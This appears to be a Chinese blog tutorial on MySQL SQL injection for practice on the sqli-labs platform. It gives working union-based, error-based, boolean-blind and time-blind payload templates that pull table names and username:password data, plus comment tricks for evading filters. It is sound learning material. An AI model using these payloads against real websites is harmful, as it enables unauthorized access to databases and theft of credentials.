国庆结束后,会不会有人看啊~
附有清楚一点的思维导图,内容不是很全面。sql-labs搭建:sqli-labs 靶场环境搭建与使用教程-CSDN博客,这是个练习平台,动手操作是理解的最快途径。
一、需要了解的语法等
1.数据库
数据库通常分为两大类:
(1)关系型数据库(RDBMS)—— 用 SQL
它们用表格存数据,表与表之间有关系。常见的有:
MySQL(CTF 和 Web 渗透中最常见)
MariaDB
PostgreSQL
SQL Server(微软)
Oracle
SQLite(小型、嵌入式)
SQL 注入主要发生在这类数据库上。
(2)非关系型数据库(NoSQL)—— 不一定用 SQL
它们不用传统表格,适合海量、灵活的数据。常见的有:
键值型:Redis、Memcached
文档型:MongoDB、CouchDB
列族型:HBase、Cassandra
图数据库:Neo4j
时序数据库:InfluxDB
搜索型:Elasticsearch
这些数据库也有自己的“注入”问题,叫NoSQL 注入,但原理和SQL注入不同,这里我们讲mysql。
本人学的少还没有见到过,不过之前学的时候学长好像提了一嘴MongoDB。
2.
(1)SHOW(MySQL专属,且输出格式不支持联合查询)
show可以列出MySQL服务器上全部数据库名/当前正在使用的数据库里面所有表/一张表所有字段结构/... ,可以帮助我们理解数据库的结构。
数据库(Database)
└── 表(Table)
├── 列 / 字段(Column)
└── 行 / 记录(Row)
show和后面select的功能有相似之处。
| show 语句 | 等价 select 查询 information_schema |
|---|---|
SHOW DATABASES; | SELECT SCHEMA_NAME FROM information_schema.SCHEMATA; |
SHOW TABLES FROM test; | SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='test'; |
SHOW COLUMNS FROM user; | SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='test' AND TABLE_NAME='user'; |
(2)SELECT
SHOW是MySQL特有的管理命令,用来快速查看库、表、字段等元信息;SELECT是标准SQL查询语句,用来从表中灵活检索、筛选和计算数据。
SELECT 就是:从哪张表(FROM),按什么条件(WHERE),查哪些字段(SELECT),怎么分组排序(GROUP BY / ORDER BY),最后取几条(LIMIT)。
一、SELECT 完整语法
SELECT [DISTINCT] 字段1, 字段2, ... FROM 表名 WHERE 条件 GROUP BY 字段 HAVING 条件 ORDER BY 字段 [ASC|DESC] LIMIT 起始位置, 条数;执行顺序(很重要,注入时理解逻辑用):
FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT二、最简单的查询
SELECT * FROM users; SELECT username, password FROM users; SELECT username AS u, password AS p FROM users;二、SQL 注入最常用的一套模板
1. 判断注入点
?id=1' ?id=1' AND 1=1 --+ ?id=1' AND 1=2 --+2. 判断列数
?id=1' ORDER BY 3 --+3. 找显示位
?id=-1' UNION SELECT 1,2,3 --+4. 查当前库名
?id=-1' UNION SELECT 1,database(),3 --+5. 查表名
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+6. 查列名
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+7. 拿数据
?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+
0x3a是冒号:,用来分隔用户名和密码。
下面简单写几种不同的注入类型。
1)按数字/字符分类
SQL 注入按参数类型可分为数字型和字符型两类,它们的核心区别在于:数字型参数直接参与数值运算,不需要闭合引号;字符型参数被包裹在引号中,需要先闭合引号才能拼接注入语句。
判断类型
判断方法很简单:在参数后加一个单引号,如果报错说明是字符型;如果正常返回说明是数字型。
?id=1' 报错 → 字符型 ?id=1 AND 1=1 正常 → 数字型数字型
数字型注入不需要闭合引号,直接在参数后拼接 UNION 查询即可:
?id=-1 UNION SELECT 1,2,3 --+ ?id=-1 UNION SELECT 1,database(),3 --+ ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+ ?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+字符型
字符型注入需要先用单引号闭合前面的引号,再拼接 UNION 查询:
?id=-1' UNION SELECT 1,2,3 --+ ?id=-1' UNION SELECT 1,database(),3 --+ ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+ ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+注释符:`--+` 或 `#`,用来注释掉后面多余的引号或语句。
记住:数字型直接接,字符型先闭合 `'`。
2)按注入类型
下面是几种常见的模板
三、报错注入模板
原理:报错注入利用的是 MySQL 在执行某些函数(如extractvalue、updatexml)时,如果传入的 XPath 表达式格式非法,就会把错误信息连同表达式内容一起回显到页面上。我们正是利用这一点,把子查询的结果拼进 XPath 表达式里,让数据库把查询结果“报”出来。
核心思路:concat(0x7e, (SELECT database()), 0x7e)中0x7e是波浪号~,用来让 XPath 表达式必然报错(因为~不是合法 XPath 语法),同时把database()的结果带进报错信息里。
?id=1' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) --+ ?id=1' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) --+进阶用法:把database()换成任意子查询即可查表名、列名、数据,例如:
?id=1' AND extractvalue(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e)) --+注意:extractvalue和updatexml报错信息最长只能显示 32 个字符,所以查多行数据时建议配合limit逐条取,或用substr分段截取。
四、布尔盲注模板
原理:布尔盲注利用页面返回的真/假差异来逐位推断数据。当页面不回显查询结果、也不报错时,我们只能通过AND 1=1(页面正常)和AND 1=2(页面异常)来判断条件是否成立,从而一位一位地猜出数据库名、表名、列名和数据。
核心思路:用substr()截取目标字符串的某一位,再用ascii()转成 ASCII 码,最后与一个数字比较。条件成立页面正常,不成立页面异常,据此二分逼近真实字符。
?id=1' AND ascii(substr(database(),1,1))>100 --+逐位猜解:把substr(database(),1,1)中的1,1换成2,1、3,1……即可依次猜出第 2、3 位字符。配合二分法(先判断是否大于某个中间值)可以显著减少请求次数。
进阶用法:把database()换成任意子查询即可猜表名、列名、数据,例如:
?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100 --+注意:布尔盲注每次只能确认 1 个 bit,速度较慢,通常配合脚本(如 sqlmap)自动化完成;手工注入时建议用二分法减少请求次数。
五、时间盲注模板
原理:时间盲注利用的是页面响应时间的差异来推断数据。当页面既不回显查询结果、也不报错时,我们无法通过页面内容判断真假,只能通过sleep()函数人为制造延迟:条件成立就延迟几秒,条件不成立就立即返回,据此一位一位地猜出数据。
核心思路:用if()判断条件,条件成立时执行sleep(3)延迟 3 秒,不成立则返回 0 不延迟。配合substr()和ascii()逐位截取、比较,即可推断出目标字符串的每一位。
?id=1' AND if(ascii(substr(database(),1,1))>100, sleep(3), 0) --+逐位猜解:把substr(database(),1,1)中的1,1换成2,1、3,1……即可依次猜出第 2、3 位字符。同样配合二分法可以显著减少请求次数。
进阶用法:把database()换成任意子查询即可猜表名、列名、数据,例如:
?id=1' AND if(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100, sleep(3), 0) --+注意:时间盲注每次判断都要等待几秒,速度比布尔盲注更慢,通常配合脚本(如 sqlmap)自动化完成;手工注入时建议用二分法减少请求次数。
六、常用函数
database() 当前数据库名 version() 数据库版本 user() 当前用户 group_concat() 把多行结果拼成一行 concat() 拼接字符串 substr(str,1,1) 截取字符 ascii() 转 ASCII 码 sleep(3) 延迟 3 秒七、注释符
在 SQL 注入中,注释符的作用是注释掉拼接语句后面多余的引号、括号或 SQL 片段,让注入语句能完整、合法地执行。下面介绍 MySQL 中几种常用的注释符及其使用场景。
--+ URL 里常用,+ 代表空格 # MySQL 注释 /**/ 内联注释,可绕过空格过滤1.--+(双横线加号)
这是 URL 中最常用的注释符。在 MySQL 中,--(双横线加一个空格)是标准注释语法,但 URL 里的空格会被浏览器或服务器处理掉,所以用+代替空格,写成--+。它会把后面多余的引号、括号或整段 SQL 全部注释掉。
?id=1' AND 1=1 --+ ?id=-1' UNION SELECT 1,2,3 --+2.#(井号)
#是 MySQL 特有的单行注释符,作用与--相同,会把从#开始到行尾的内容全部注释掉。它不需要额外加空格,在 URL 中直接使用即可,不过要注意#在 URL 中有时需要编码为%23。
?id=1' AND 1=1 # ?id=-1' UNION SELECT 1,2,3 #3./**/(内联注释)
/**/是标准 SQL 的多行注释符,MySQL 也支持。它除了可以注释掉多余内容外,还有一个特殊用途:绕过空格过滤。当 WAF 或程序过滤了空格时,可以用/**/代替空格来拼接语句。
?id=1'/**/AND/**/1=1/**/--+ ?id=-1'/**/UNION/**/SELECT/**/1,2,3/**/--+4. 其他变体
除了上面三种,还有--(双横线加真实空格,在非 URL 场景如命令行或 POST 请求体中使用)、;%00(用空字节截断后续语句,部分场景有效)等。实际注入时,要根据请求方式(GET/POST)、过滤规则和数据库类型灵活选择。
小结:--+和#用于注释掉多余内容,/**/既能注释也能代替空格绕过过滤。掌握它们的区别,在写注入 payload 时会更加得心应手。
三、防范与绕过
有了防火墙其实大多数都能防住,但是还是经常被交的一个漏洞,因为还要考虑绕过。
在某漏洞提交平台截的某单位的图
至于绕过也是sql注入里非常非常重要的一部分,ctf只要不是签到题都会考绕过。
这里因为常见漏洞绕过手段总结-CSDN博客写过就不赘述了。